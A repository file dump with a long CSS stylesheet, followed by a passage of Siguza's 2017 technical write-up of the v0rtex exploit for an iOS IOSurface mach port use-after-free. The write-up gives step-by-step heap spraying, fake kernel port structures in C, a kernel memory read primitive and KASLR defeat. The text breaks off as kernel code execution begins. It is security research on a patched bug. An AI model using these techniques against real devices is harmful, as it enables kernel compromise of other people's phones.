1px)}.show-on-focus:focus{z-index:20;width:auto;height:auto;clip:auto}.container{width:980px;margin-right:auto;margin-left:auto}.container::before{display:table;content:""}.container::after{display:table;clear:both;content:""}.container-md{max-width:768px;margin-right:auto;margin-left:auto}.container-lg{max-width:1012px;margin-right:auto;margin-left:auto}.container-xl{max-width:1280px;margin-right:auto;margin-left:auto}.columns{margin-right:-10px;margin-left:-10px}.columns::before{display:table;content:""}.columns::after{display:table;clear:both;content:""}.column{float:left;padding-right:10px;padding-left:10px}.one-third{width:33.333333%}.two-thirds{width:66.666667%}.one-fourth{width:25%}.one-half{width:50%}.three-fourths{width:75%}.one-fifth{width:20%}.four-fifths{width:80%}.centered{display:block;float:none;margin-right:auto;margin-left:auto}.col-1{width:8.3333333333%}.col-2{width:16.6666666667%}.col-3{width:25%}.col-4{width:33.3333333333%}.col-5{width:41.6666666667%}.col-6{width:50%}.col-7{width:58.3333333333%}.col-8{width:66.6666666667%}.col-9{width:75%}.col-10{width:83.3333333333%}.col-11{width:91.6666666667%}.col-12{width:100%}@media (min-width: 544px){.col-sm-1{width:8.3333333333%}.col-sm-2{width:16.6666666667%}.col-sm-3{width:25%}.col-sm-4{width:33.3333333333%}.col-sm-5{width:41.6666666667%}.col-sm-6{width:50%}.col-sm-7{width:58.3333333333%}.col-sm-8{width:66.6666666667%}.col-sm-9{width:75%}.col-sm-10{width:83.3333333333%}.col-sm-11{width:91.6666666667%}.col-sm-12{width:100%}}@media (min-width: 768px){.col-md-1{width:8.3333333333%}.col-md-2{width:16.6666666667%}.col-md-3{width:25%}.col-md-4{width:33.3333333333%}.col-md-5{width:41.6666666667%}.col-md-6{width:50%}.col-md-7{width:58.3333333333%}.col-md-8{width:66.6666666667%}.col-md-9{width:75%}.col-md-10{width:83.3333333333%}.col-md-11{width:91.6666666667%}.col-md-12{width:100%}}@media (min-width: 1012px){.col-lg-1{width:8.3333333333%}.col-lg-2{width:16.6666666667%}.col-lg-3{width:25%}.col-lg-4{width:33.3333333333%}.col-lg-5{width:41.6666666667%}.col-lg-6{width:50%}.col-lg-7{width:58.3333333333%}.col-lg-8{width:66.6666666667%}.col-lg-9{width:75%}.col-lg-10{width:83.3333333333%}.col-lg-11{width:91.6666666667%}.col-lg-12{width:100%}}@media (min-width: 1280px){.col-xl-1{width:8.3333333333%}.col-xl-2{width:16.6666666667%}.col-xl-3{width:25%}.col-xl-4{width:33.3333333333%}.col-xl-5{width:41.6666666667%}.col-xl-6{width:50%}.col-xl-7{width:58.3333333333%}.col-xl-8{width:66.6666666667%}.col-xl-9{width:75%}.col-xl-10{width:83.3333333333%}.col-xl-11{width:91.6666666667%}.col-xl-12{width:100%}}.gutter{margin-right:-16px;margin-left:-16px}.gutter>[class*="col-"]{padding-right:16px !important;padding-left:16px !important}.gutter-condensed{margin-right:-8px;margin-left:-8px}.gutter-condensed>[class*="col-"]{padding-right:8px !important;padding-left:8px !important}.gutter-spacious{margin-right:-24px;margin-left:-24px}.gutter-spacious>[class*="col-"]{padding-right:24px !important;padding-left:24px !important}@media (min-width: 544px){.gutter-sm{margin-right:-16px;margin-left:-16px}.gutter-sm>[class*="col-"]{padding-right:16px !important;padding-left:16px !important}.gutter-sm-condensed{margin-right:-8px;margin-left:-8px}.gutter-sm-condensed>[class*="col-"]{padding-right:8px !important;padding-left:8px !important}.gutter-sm-spacious{margin-right:-24px;margin-left:-24px}.gutter-sm-spacious>[class*="col-"]{padding-right:24px !important;padding-left:24px !important}}@media (min-width: 768px){.gutter-md{margin-right:-16px;margin-left:-16px}.gutter-md>[class*="col-"]{padding-right:16px !important;padding-left:16px !important}.gutter-md-condensed{margin-right:-8px;margin-left:-8px}.gutter-md-condensed>[class*="col-"]{padding-right:8px !important;padding-left:8px !important}.gutter-md-spacious{margin-right:-24px;margin-left:-24px}.gutter-md-spacious>[class*="col-"]{padding-right:24px !important;padding-left:24px !important}}@media (min-width: 1012px){.gutter-lg{margin-right:-16px;margin-left:-16px}.gutter-lg>[class*="col-"]{padding-right:16px !important;padding-left:16px !important}.gutter-lg-condensed{margin-right:-8px;margin-left:-8px}.gutter-lg-condensed>[class*="col-"]{padding-right:8px !important;padding-left:8px !important}.gutter-lg-spacious{margin-right:-24px;margin-left:-24px}.gutter-lg-spacious>[class*="col-"]{padding-right:24px !important;padding-left:24px !important}}@media (min-width: 1280px){.gutter-xl{margin-right:-16px;margin-left:-16px}.gutter-xl>[class*="col-"]{padding-right:16px !important;padding-left:16px !important}.gutter-xl-condensed{margin-right:-8px;margin-left:-8px}.gutter-xl-condensed>[class*="col-"]{padding-right:8px !important;padding-left:8px !important}.gutter-xl-spacious{margin-right:-24px;margin-left:-24px}.gutter-xl-spacious>[class*="col-"]{padding-right:24px !important;padding-left:24px !important}}.offset-1{margin-left:8.3333333333% !important}.offset-2{margin-left:16.6666666667% !important}.offset-3{margin-left:25% !important}.offset-4{margin-left:33.3333333333% !important}.offset-5{margin-left:41.6666666667% !important}.offset-6{margin-left:50% !important}.offset-7{margin-left:58.3333333333% !important}.offset-8{margin-left:66.6666666667% !important}.offset-9{margin-left:75% !important}.offset-10{margin-left:83.3333333333% !important}.offset-11{margin-left:91.6666666667% !important}@media (min-width: 544px){.offset-sm-1{margin-left:8.3333333333% !important}.offset-sm-2{margin-left:16.6666666667% !important}.offset-sm-3{margin-left:25% !important}.offset-sm-4{margin-left:33.3333333333% !important}.offset-sm-5{margin-left:41.6666666667% !important}.offset-sm-6{margin-left:50% !important}.offset-sm-7{margin-left:58.3333333333% !important}.offset-sm-8{margin-left:66.6666666667% !important}.offset-sm-9{margin-left:75% !important}.offset-sm-10{margin-left:83.3333333333% !important}.offset-sm-11{margin-left:91.6666666667% !important}}@media (min-width: 768px){.offset-md-1{margin-left:8.3333333333% !important}.offset-md-2{margin-left:16.6666666667% !important}.offset-md-3{margin-left:25% !important}.offset-md-4{margin-left:33.3333333333% !important}.offset-md-5{margin-left:41.6666666667% !important}.offset-md-6{margin-left:50% !important}.offset-md-7{margin-left:58.3333333333% !important}.offset-md-8{margin-left:66.6666666667% !important}.offset-md-9{margin-left:75% !important}.offset-md-10{margin-left:83.3333333333% !important}.offset-md-11{margin-left:91.6666666667% !important}}@media (min-width: 1012px){.offset-lg-1{margin-left:8.3333333333% !important}.offset-lg-2{margin-left:16.6666666667% !important}.offset-lg-3{margin-left:25% !important}.offset-lg-4{margin-left:33.3333333333% !important}.offset-lg-5{margin-left:41.6666666667% !important}.offset-lg-6{margin-left:50% !important}.offset-lg-7{margin-left:58.3333333333% !important}.offset-lg-8{margin-left:66.6666666667% !important}.offset-lg-9{margin-left:75% !important}.offset-lg-10{margin-left:83.3333333333% !important}.offset-lg-11{margin-left:91.6666666667% !important}}@media (min-width: 1280px){.offset-xl-1{margin-left:8.3333333333% !important}.offset-xl-2{margin-left:16.6666666667% !important}.offset-xl-3{margin-left:25% !important}.offset-xl-4{margin-left:33.3333333333% !important}.offset-xl-5{margin-left:41.6666666667% !important}.offset-xl-6{margin-left:50% !important}.offset-xl-7{margin-left:58.3333333333% !important}.offset-xl-8{margin-left:66.6666666667% !important}.offset-xl-9{margin-left:75% !important}.offset-xl-10{margin-left:83.3333333333% !important}.offset-xl-11{margin-left:91.6666666667% !important}}.markdown-body{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Helvetica,Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol";font-size:16px;line-height:1.5;word-wrap:break-word}.markdown-body::before{display:table;content:""}.markdown-body::after{display:table;clear:both;content:""}.markdown-body>*:first-child{margin-top:0 !important}.markdown-body>*:last-child{margin-bottom:0 !important}.markdown-body a:not([href]){color:inherit;text-decoration:none}.markdown-body .absent{color:#cb2431}.markdown-body .anchor{float:left;padding-right:4px;margin-left:-20px;line-height:1}.markdown-body .anchor:focus{outline:none}.markdown-body p,.markdown-body blockquote,.markdown-body ul,.markdown-body ol,.markdown-body dl,.markdown-body table,.markdown-body pre{margin-top:0;margin-bottom:16px}.markdown-body hr{height:.25em;padding:0;margin:24px 0;background-color:#e1e4e8;border:0}.markdown-body blockquote{padding:0 1em;color:#6a737d;border-left:0.25em solid #dfe2e5}.markdown-body blockquote>:first-child{margin-top:0}.markdown-body blockquote>:last-child{margin-bottom:0}.markdown-body kbd{display:inline-block;padding:3px 5px;font-size:11px;line-height:10px;color:#444d56;vertical-align:middle;background-color:#fafbfc;border:solid 1px #c6cbd1;border-bottom-color:#959da5;border-radius:3px;box-shadow:inset 0 -1px 0 #959da5}.markdown-body h1,.markdown-body h2,.markdown-body h3,.markdown-body h4,.markdown-body h5,.markdown-body h6{margin-top:24px;margin-bottom:16px;font-weight:600;line-height:1.25}.markdown-body h1 .octicon-link,.markdown-body h2 .octicon-link,.markdown-body h3 .octicon-link,.markdown-body h4 .octicon-link,.markdown-body h5 .octicon-link,.markdown-body h6 .octicon-link{color:#1b1f23;vertical-align:middle;visibility:hidden}.markdown-body h1:hover .anchor,.markdown-body h2:hover .anchor,.markdown-body h3:hover .anchor,.markdown-body h4:hover .anchor,.markdown-body h5:hover .anchor,.markdown-body h6:hover .anchor{text-decoration:none}.markdown-body h1:hover .anchor .octicon-link,.markdown-body h2:hover .anchor .octicon-link,.markdown-body h3:hover .anchor .octicon-link,.markdown-body h4:hover .anchor .octicon-link,.markdown-body h5:hover .anchor .octicon-link,.markdown-body h6:hover .anchor .octicon-link{visibility:visible}.markdown-body h1 tt,.markdown-body h1 code,.markdown-body h2 tt,.markdown-body h2 code,.markdown-body h3 tt,.markdown-body h3 code,.markdown-body h4 tt,.markdown-body h4 code,.markdown-body h5 tt,.markdown-body h5 code,.markdown-body h6 tt,.markdown-body h6 code{font-size:inherit}.markdown-body h1{padding-bottom:0.3em;font-size:2em;border-bottom:1px solid #eaecef}.markdown-body h2{padding-bottom:0.3em;font-size:1.5em;border-bottom:1px solid #eaecef}.markdown-body h3{font-size:1.25em}.markdown-body h4{font-size:1em}.markdown-body h5{font-size:0.875em}.markdown-body h6{font-size:0.85em;color:#6a737d}.markdown-body ul,.markdown-body ol{padding-left:2em}.markdown-body ul.no-list,.markdown-body ol.no-list{padding:0;list-style-type:none}.markdown-body ul ul,.markdown-body ul ol,.markdown-body ol ol,.markdown-body ol ul{margin-top:0;margin-bottom:0}.markdown-body li{word-wrap:break-all}.markdown-body li>p{margin-top:16px}.markdown-body li+li{margin-top:.25em}.markdown-body dl{padding:0}.markdown-body dl dt{padding:0;margin-top:16px;font-size:1em;font-style:italic;font-weight:600}.markdown-body dl dd{padding:0 16px;margin-bottom:16px}.markdown-body table{display:block;width:100%;overflow:auto}.markdown-body table th{font-weight:600}.markdown-body table th,.markdown-body table td{padding:6px 13px;border:1px solid #dfe2e5}.markdown-body table tr{background-color:#fff;border-top:1px solid #c6cbd1}.markdown-body table tr:nth-child(2n){background-color:#f6f8fa}.markdown-body table img{background-color:transparent}.markdown-body img{max-width:100%;box-sizing:content-box;background-color:#fff}.markdown-body img[align=right]{padding-left:20px}.markdown-body img[align=left]{padding-right:20px}.markdown-body .emoji{max-width:none;vertical-align:text-top;background-color:transparent}.markdown-body span.frame{display:block;overflow:hidden}.markdown-body span.frame>span{display:block;float:left;width:auto;padding:7px;margin:13px 0 0;overflow:hidden;border:1px solid #dfe2e5}.markdown-body span.frame span img{display:block;float:left}.markdown-body span.frame span span{display:block;padding:5px 0 0;clear:both;color:#24292e}.markdown-body span.align-center{display:block;overflow:hidden;clear:both}.markdown-body span.align-center>span{display:block;margin:13px auto 0;overflow:hidden;text-align:center}.markdown-body span.align-center span img{margin:0 auto;text-align:center}.markdown-body span.align-right{display:block;overflow:hidden;clear:both}.markdown-body span.align-right>span{display:block;margin:13px 0 0;overflow:hidden;text-align:right}.markdown-body span.align-right span img{margin:0;text-align:right}.markdown-body span.float-left{display:block;float:left;margin-right:13px;overflow:hidden}.markdown-body span.float-left span{margin:13px 0 0}.markdown-body span.float-right{display:block;float:right;margin-left:13px;overflow:hidden}.markdown-body span.float-right>span{display:block;margin:13px auto 0;overflow:hidden;text-align:right}.markdown-body code,.markdown-body tt{padding:0.2em 0.4em;margin:0;font-size:85%;background-color:rgba(27,31,35,0.05);border-radius:3px}.markdown-body code br,.markdown-body tt br{display:none}.markdown-body del code{text-decoration:inherit}.markdown-body pre{word-wrap:normal}.markdown-body pre>code{padding:0;margin:0;font-size:100%;word-break:normal;white-space:pre;background:transparent;border:0}.markdown-body .highlight{margin-bottom:16px}.markdown-body .highlight pre{margin-bottom:0;word-break:normal}.markdown-body .highlight pre,.markdown-body pre{padding:16px;overflow:auto;font-size:85%;line-height:1.45;background-color:#f6f8fa;border-radius:3px}.markdown-body pre code,.markdown-body pre tt{display:inline;max-width:auto;padding:0;margin:0;overflow:visible;line-height:inherit;word-wrap:normal;background-color:transparent;border:0}.markdown-body .csv-data td,.markdown-body .csv-data th{padding:5px;overflow:hidden;font-size:12px;line-height:1;text-align:left;white-space:nowrap}.markdown-body .csv-data .blob-num{padding:10px 8px 9px;text-align:right;background:#fff;border:0}.markdown-body .csv-data tr{border-top:0}.markdown-body .csv-data th{font-weight:600;background:#f6f8fa;border-top:0}.highlight table td{padding:5px}.highlight table pre{margin:0}.highlight .cm{color:#999988;font-style:italic}.highlight .cp{color:#999999;font-weight:bold}.highlight .c1{color:#999988;font-style:italic}.highlight .cs{color:#999999;font-weight:bold;font-style:italic}.highlight .c,.highlight .cd{color:#999988;font-style:italic}.highlight .err{color:#a61717;background-color:#e3d2d2}.highlight .gd{color:#000000;background-color:#ffdddd}.highlight .ge{color:#000000;font-style:italic}.highlight .gr{color:#aa0000}.highlight .gh{color:#999999}.highlight .gi{color:#000000;background-color:#ddffdd}.highlight .go{color:#888888}.highlight .gp{color:#555555}.highlight .gs{font-weight:bold}.highlight .gu{color:#aaaaaa}.highlight .gt{color:#aa0000}.highlight .kc{color:#000000;font-weight:bold}.highlight .kd{color:#000000;font-weight:bold}.highlight .kn{color:#000000;font-weight:bold}.highlight .kp{color:#000000;font-weight:bold}.highlight .kr{color:#000000;font-weight:bold}.highlight .kt{color:#445588;font-weight:bold}.highlight .k,.highlight .kv{color:#000000;font-weight:bold}.highlight .mf{color:#009999}.highlight .mh{color:#009999}.highlight .il{color:#009999}.highlight .mi{color:#009999}.highlight .mo{color:#009999}.highlight .m,.highlight .mb,.highlight .mx{color:#009999}.highlight .sb{color:#d14}.highlight .sc{color:#d14}.highlight .sd{color:#d14}.highlight .s2{color:#d14}.highlight .se{color:#d14}.highlight .sh{color:#d14}.highlight .si{color:#d14}.highlight .sx{color:#d14}.highlight .sr{color:#009926}.highlight .s1{color:#d14}.highlight .ss{color:#990073}.highlight .s{color:#d14}.highlight .na{color:#008080}.highlight .bp{color:#999999}.highlight .nb{color:#0086B3}.highlight .nc{color:#445588;font-weight:bold}.highlight .no{color:#008080}.highlight .nd{color:#3c5d5d;font-weight:bold}.highlight .ni{color:#800080}.highlight .ne{color:#990000;font-weight:bold}.highlight .nf{color:#990000;font-weight:bold}.highlight .nl{color:#990000;font-weight:bold}.highlight .nn{color:#555555}.highlight .nt{color:#000080}.highlight .vc{color:#008080}.highlight .vg{color:#008080}.highlight .vi{color:#008080}.highlight .nv{color:#008080}.highlight .ow{color:#000000;font-weight:bold}.highlight .o{color:#000000;font-weight:bold}.highlight .w{color:#bbbbbb}.highlight{background-color:#f8f8f8} 2 | 3 | /* Dynamic light/dark mode + custom colours */ 4 | .markdown-body hr{height:1px} 5 | a{color:#090} 6 | a:hover{color:#0c0;text-decoration:none} 7 | @media (prefers-color-scheme: dark){ 8 | body{background-color:#222;color:#ddd} 9 | .markdown-body h1{border-bottom:1px solid #666} 10 | .markdown-body h2{border-bottom:none} 11 | .markdown-body hr{background-color:#666} 12 | .markdown-body .highlight pre,.markdown-body pre{background-color:#ccc;color:#24292e;filter:invert(100%) hue-rotate(180deg);border-radius:0} 13 | .markdown-body code,.markdown-body tt{background-color:#333} 14 | .markdown-body blockquote{color:#828b95} 15 | .markdown-body table tr{background-color:#222;border-top:1px solid #666} 16 | .markdown-body table tr:nth-child(2n){background-color:#292929} 17 | .markdown-body table th,.markdown-body table td{border:1px solid #666} 18 | .highlight{background:none} 19 | .text-gray{color:#969ea7 !important} 20 | .border-top{border-top:1px #666 solid !important} 21 | } 22 | 23 | /* Custom navbar */ 24 | .markdown-body{margin-top:0 !important} 25 | main{margin-top:15px} 26 | nav{font-size:16.8px;font-weight:600;text-align:center;padding:10px 0} 27 | .separator{border-bottom:solid 1px #888} 28 | @media (min-resolution: 2dppx){ 29 | .separator{border-bottom-width:0.5px} 30 | } 31 | -------------------------------------------------------------------------------- /docs/index.md: -------------------------------------------------------------------------------- 1 | _Siguza, 07. Dec 2017 (updated 12. Dec 2017)_ 2 | 3 | # v0rtex 4 | 5 | Turning the IOSurface inside out. 6 | 7 | ## Introduction 8 | 9 | On December 5th, [windknown][windknown] posted about an IOSurface mach port UaF on the [Pangu blog][blog], which [had been fixed in iOS 11.2](https://support.apple.com/en-us/HT208334) and reported by [Ian Beer][ianbeer]. Now I neither speak Chinese nor really trust Google Translate with details, but the PoC on the Pangu blog was enough to illustrate the vulnerability and get me going. :P 10 | 11 | > Update: 12 | > Ian's exploit for iOS 11 is now [out as well][async_wake]! 13 | 14 | ## The Exploit 15 | 16 | ### Freeing and reallocating 17 | 18 | The bug decreases the ref count on a user-supplied mach port by one too many. This is very nice because it can leave you with a still-valid userland handle to a freed port which can then hopefully be reallocated with controlled contents, yielding a complete fake port. 19 | 20 | Windknown's PoC uses the same port for first and subsequent registration, but I'd rather not have a freed object referenced more than necessary, so we'll use two different ports - and more, for the sake of heapcraft. We allocate in this order: 21 | 22 | 1. A single mach port called `realport`. 23 | 2. `0x1000` mach ports to spray the `ipc.ports` zone before `port`. 24 | 3. A single mach port called `port` (renamed to `fakeport` once freed). 25 | 4. Another `0x100` mach ports to spray the `ipc.ports` zone after `port`. 26 | 27 | We then free `port` via the bug, and release the `0x1100` ports we sprayed as well. In the `ipc.ports` zone that will hopefully lead to the page on which `port` resides to have all elements freed. Once that happens, we can use the `mach_zone_force_gc` MIG call to get the entire page out of the zone, allowing us to reallocate the port with arbitrary memory instead of just valid mach ports. (Note `mach_zone_force_gc` was disabled in iOS 11, but you should still be able to trigger a garbage collection by iterating over all zones, allocating and subsequently freeing something like 100MB in each, and measuring how long it takes to do so - garbage collection should be a significant spike.) 28 | 29 | One obstacle I faced though was that the IOSurface bug seemed to have some asynchronicity or whatnot - for a short time after `IOConnectCallAsyncStructMethod` returned, the port seemed to still be valid, however after a `sleep(1)` it was not. I didn't feel like hunting down the cause of that, so I simply increased the ref count on `port` by using `mach_ports_register` on my own task, which would cause the bug to still drop one ref too many, but not free it anymore. Now after that call returns, we can `usleep(100000)` to synchronise, and then use `mach_ports_register` again to decrease the ref on `port` again, this time freeing it synchronously. And since we call `mach_ports_register` already, we also register our `IOSurfaceRootUserClient` handle there because we're gonna need that for later. All that remains is a call to `mach_zone_force_gc` and if everything worked out, the memory that contained `port` is now available for reallocation. 30 | 31 | At this point we're gonna reallocate it, but how exactly and with what contents? My favourite heap allocation primitive is `OSUnserializeXML` (or `OSUnserializeBinary` to be exact) because it allows for fine-grained control over allocation and contents, allows for both arbitrary data and pointers, and is used in many places. So since we're dealing with IOSurface anyway I figured we might as well use IOSurface properties. An `IOSurfaceRootUserClient` offers external methods `9`, `10` and `11` to parse arbitrary data with `OSUnserializeXML`, store the result in the kernel, and read back or delete that result at any time. I'll leave the implementation details on this for another time, but they're effectively the same as `IOSurfaceSetValue`, `IOSurfaceCopyValue` and `IOSurfaceRemoveValue`, just faster since no CoreFoundation object serialisation has to happen. 32 | Alright, so we've got to reallocate the freed pages. In order to avoid creating holes, this is best done with allocations of the page size or smaller. On A9 and later the page size is 16KB, but on A8 and earlier the it is actually 4KB despite the 16KB being exported to userland - so we're gonna use `0x1000` here. Now, `OSData` would normally seem like the best choice for binary data, but it turns out that doesn't go through `kalloc` anymore for allocations larger or equal to the page size. The next best choice to me is `OSString` which works well, so long as you take into account that a null terminator is added when unserialising, so in order to get a `0x1000` allocation, you'll want to have only `0xfff` bytes of serialised data. 33 | 34 | ### Fake port construction 35 | 36 | At this point we merely have to put some data into our `OSString`s, and the kernel will treat it as a mach port. So let's start with a look at the structure: 37 | 38 | ```c 39 | typedef struct { 40 | uint32_t ip_bits; 41 | uint32_t ip_references; 42 | struct { 43 | kptr_t data; 44 | uint32_t type; 45 | uint32_t pad; 46 | } ip_lock; // spinlock 47 | struct { 48 | struct { 49 | struct { 50 | uint32_t flags; 51 | uint32_t waitq_interlock; 52 | uint64_t waitq_set_id; 53 | uint64_t waitq_prepost_id; 54 | struct { 55 | kptr_t next; 56 | kptr_t prev; 57 | } waitq_queue; 58 | } waitq; 59 | kptr_t messages; 60 | uint32_t seqno; 61 | uint32_t receiver_name; 62 | uint16_t msgcount; 63 | uint16_t qlimit; 64 | uint32_t pad; 65 | } port; 66 | kptr_t klist; 67 | } ip_messages; 68 | kptr_t ip_receiver; 69 | kptr_t ip_kobject; 70 | kptr_t ip_nsrequest; 71 | kptr_t ip_pdrequest; 72 | kptr_t ip_requests; 73 | kptr_t ip_premsg; 74 | uint64_t ip_context; 75 | uint32_t ip_flags; 76 | uint32_t ip_mscount; 77 | uint32_t ip_srights; 78 | uint32_t ip_sorights; 79 | } kport_t; 80 | ``` 81 | 82 | (Here `kptr_t` is just a `typedef` to a type of the kernel's pointer size. Also on 32-bit, the two `pad` fields are missing.) 83 | 84 | There is a slight problem now though: we don't know at which offset the mach ports start. When a page is allocated into a zone with elements of size `x`, the first element will start at offset `0`, the second one at `x`, then `x * 2`, etc. Depending on `x`, that might leave less or more memory at the end of a page unused. To minimise such losses, XNU can expand the allocation size of a zone up to 32KB. On 10.3.3 the size of a mach port is `0xa8` bytes (`0x74` for 32-bit), and the `ipc.ports` zone makes allocations of `0x3000` bytes. That means the first port will be allocated at offset `0x0`, the second at `0xa8`, etc., and the last port on the first page will start at `0xfc0` and extend onto the second page - but that means the first port on the second page will start at offset `0x1068` rather than `0x1000`, and the same thing repeats for the third page as well. The problem with that is that when we reallocate those pages, we don't know whether they used to be the first, second or third of their chunk - even using an allocation size of `0x3000` ourselves wouldn't help, since that might as well start on a second or third page and just extend beyond it, since pages are units of their own. 85 | 86 | So what we'll have to do now is create a structure that is valid no matter with which of the three possible offsets it is accessed. These offsets are `0x0`, `0x68` and `0x28` respectively for first, second and third page. The absolute minimum for a valid port is an intact lock, so we'll start with that. Long story short, initialisation looks like this: 87 | 88 | ```c 89 | kport_t triple_kport = 90 | { 91 | .ip_lock = 92 | { 93 | .data = 0x0, 94 | .type = 0x11, 95 | }, 96 | .ip_messages = 97 | { 98 | .port = 99 | { 100 | .waitq = 101 | { 102 | .waitq_queue = 103 | { 104 | .next = 0x0, 105 | .prev = 0x11, 106 | } 107 | }, 108 | }, 109 | }, 110 | .ip_nsrequest = 0x0, 111 | .ip_pdrequest = 0x11, 112 | }; 113 | ``` 114 | 115 | Now so far this works, but it's obvious that as the struct populates, this will become a hazardous deathtrap. So it'd be nice if you could use a first, minimal mach port to _detect_ which offset we're dealing with, and then reallocate at just that offset without all this cruft. A very viable way to do this was previously outlined by Ian Beer in [his mach_portal write-up][mach_portal], making use of the `ip_context` field. In short, the `mach_port_get_context` MIG call lets you fetch the `ip_context` field of a port while touching nothing but that field and the port's lock. So what does `ip_context` overlay with when shifted? For the first page that's just `ip_context`, for the second page it's the field `msgcount`, `qlimit` and `pad` of `ip_messages.port`, and for the third page it's the `type` and `pad` fields of `ip_lock`. So the lower 32 bits of `ip_context` might intersect with `ip_lock.type` which is rather critical, but that still leaves us with the upper 32 bits in any case. That is plenty, and allows us to store both what offset is being used, as well as and identifier for the `OSString` object we're dealing with. So given a number `i` from which we can derive what key we later need to use to free and reallocate the `OSString`, this is how we initialise `ip_context`: 116 | 117 | ```c 118 | volatile kport_t *dptr = ...; 119 | for(size_t j = 0; j < DATA_SIZE / sizeof(kport_t); ++j) 120 | { 121 | dptr[j].ip_context = (dptr[j].ip_context & 0xffffffff) | ((uint64_t)(0x10000000 | i) << 32); 122 | dptr[j].ip_messages.port.pad = 0x20000000 | i; 123 | dptr[j].ip_lock.pad = 0x30000000 | i; 124 | } 125 | ``` 126 | 127 | Now when using the result of `mach_port_get_context`, the bits `0x3000000000000000` tell us whether our port was on page one, two or three, and the bits `0x0fffffff00000000` allow us to identify on which `OSString` it resides. 128 | 129 | ### Reading memory and defeating KASLR 130 | 131 | Now we can properly reallocate it, but with what? In the end we'll probably want an `IKOT_IOKIT_CONNECT`-type port with a fake `IOUserClient` object, allowing us to call arbitrary kernel code, so at the very least we'll need to know the kernel slide. To get there, we probably want an arbitrary read primitive first, but for that we need an address to start from, and so far we don't know a single valid kernel pointer. At this point I figured I had two options: 132 | 133 | - Leverage a kernel pointer comparison (such as with the clock system port) to brute-force the kernel slide. 134 | - Get a valid pointer into our fake port struct somehow and read back the `OSString`. 135 | 136 | The former sounds like a horrible idea in our setting - since we have to change `ip_kobject`, we'd have to reallocate the `OSString` over and over, each time risking the memory getting snatched by something else. The latter, however, turns our to be very viable. In the kernel's `struct ipc_port` there are a number of `struct ipc_port *` members, one of which is `ip_pdrequest`. That field can hold a pointer to a mach port which is to be notified on port death, and it can be set via `mach_port_request_notification`, provided the target port is of type `IKOT_NONE` (i.e. target is in userland) and the notification port is a send-once or receive right (from which a send-once one is then made). A very nice thing about the `mach_port` subsystem is that the mach messages are sent to the _task_ port whose IPC space contains the port, rather than to the port itself (which would cause a major headache for us with our fake port). So let's create an `IKOT_NONE` port: 137 | 138 | ```c 139 | kport_t kport = 140 | { 141 | .ip_bits = 0x80000000, // IO_BITS_ACTIVE | IOT_PORT | IKOT_NONE 142 | .ip_references = 100, 143 | .ip_lock = 144 | { 145 | .type = 0x11, 146 | }, 147 | .ip_messages = 148 | { 149 | .port = 150 | { 151 | .receiver_name = 1, 152 | .msgcount = MACH_PORT_QLIMIT_KERNEL, 153 | .qlimit = MACH_PORT_QLIMIT_KERNEL, 154 | }, 155 | }, 156 | .ip_srights = 99, 157 | }; 158 | ``` 159 | 160 | Reference counts exist just to prevent deallocation, and `MACH_PORT_QLIMIT_KERNEL` prevents accidental sending of messages to the port. Now we can register a send-once or receive right, such as e.g. `realport` on it: 161 | 162 | ```c 163 | mach_port_t old = MACH_PORT_NULL; // unused 164 | mach_port_request_notification(self, fakeport, MACH_NOTIFY_PORT_DESTROYED, 0, realport, MACH_MSG_TYPE_MAKE_SEND_ONCE, &old); 165 | ``` 166 | 167 | And now we merely need to read back the `OSString` with `IOSurfaceRootUserClient`'s external method 10, look for a `kport_t` with `ip_pdrequest != 0`, and we have the kernel's address for `realport`! 168 | 169 | Now, how do we read arbitrary memory? A previous version of my exploit used `pid_for_task` with an `IKOT_TASK`-type port and a fake task in userland. That allowed for trivial updating of the address to read from, but it also only worked on systems with a shared address space and no SMAP (i.e. A7-A9). In order for it to work on A6 and A10, the fake task would have to be put in kernel memory at a known address, which is not so straightfoward. 170 | First there's the problem of getting data at a known address. So far we don't know the address of anything but `realport`, whose contents are not exactly controllable. However since `fakeport` was originally allocated as a receive right, the same trick that we used to leak `realport` can again be used on `fakeport`. That doesn't just give us the address of `fakeport`, but of the entire `0x1000` `OSString` buffer it resides on! That should be enough scratch space for a fake task. :P 171 | But now comes the second problem: updating the address. Unless we want to leak a mere 4 bytes of kernel memory, we're gonna need to update our fake tasks `bsd_info` pointer. As with `fakeport`, the only way to do that seems via reallocation of the `OSString`. For a large number of reads, that sounds like a really bad idea. If only there was a way to just write to that memory... or is there? 172 | 173 | Remember `ip_context`? That field you can not only read from userland, but also set, which means you can write at least as much as 8 bytes directly to a known address. With that, we could overlay our fake port and task in a way that `fakeport->ip_context` and `faketask->bsd_info` mapped to the same address - and then we could use `mach_port_set_context` to update `bsd_info`, sparing us the reallocations. However that means that if our fake port is at the very beginning of the allocation, most of the fake task's field will lie before our allocation. One such field is the reference count, which is accessed by `pid_for_task` and which might cause the fake task to be freed, something we definitely don't want. However, there is a mechanism very similar to `pid_for_task`, but with slightly different constraints: `mach_port_get_attributes`. For a `flavor` value of `MACH_PORT_DNREQUESTS_SIZE`, that will return the value `fakeport->ip_requests->ipr_size->its_size`, so long as `ip_requests` is `!= NULL`. That call can again only be made on ports for which the caller has a receive right (unlike `pid_for_task`), but instead of a `0x550` bytes large fake task struct, we only have to deal with `0x10` bytes for a fake `ip_requests`. Also `its_size` is 4 bytes wide just like the value returned by `pid_for_task`. So we can pretty much read a 32-bit `value` from an `addr` like so: 174 | 175 | ```c 176 | mach_msg_type_number_t outsz = 1; 177 | int value = 0; 178 | mach_port_set_context(self, fakeport, addr); 179 | mach_port_get_attributes(self, fakeport, MACH_PORT_DNREQUESTS_SIZE, (mach_port_info_t)&value, &outsz); 180 | ``` 181 | 182 | Now we can finally start reading from the only other kernel address we know, `realport`. Jumping from one pointer to the next, we can get a pointer back to the main kernel binary by means of: `realport->receiver->is_task->itk_registered[0]->ip_kobject->vtab`. That is, from `realport` we read the `struct ipc_space` it belongs to (`receiver`) and from that we get the `task_t` by which it is owned (`is_task`), which is our own task. Now remember how we passed the port to `IOSurfaceRootUserClient` to `mach_ports_register` in the beginning? Thanks to that, we can now read a pointer to that port from `itk_registered[0]`, from that a pointer to the `IOSurfaceRootUserClient` object itself, and from that a pointer to its C++ vtable, which is, at long last, a value from which we can derive the kernel slide. 183 | 184 | ### Kernel code execution 185 | 186 | While our fake port is still set for reading, we can also leak most of the `IOSurfaceRootUserClient`'s vtable contents and start building a fake vtable. That will allow us to create a fake `IOUserClient` object, to which we can then stash a pointer in `fakeport->ip_kobject`, and switch the type of `fakeport` to 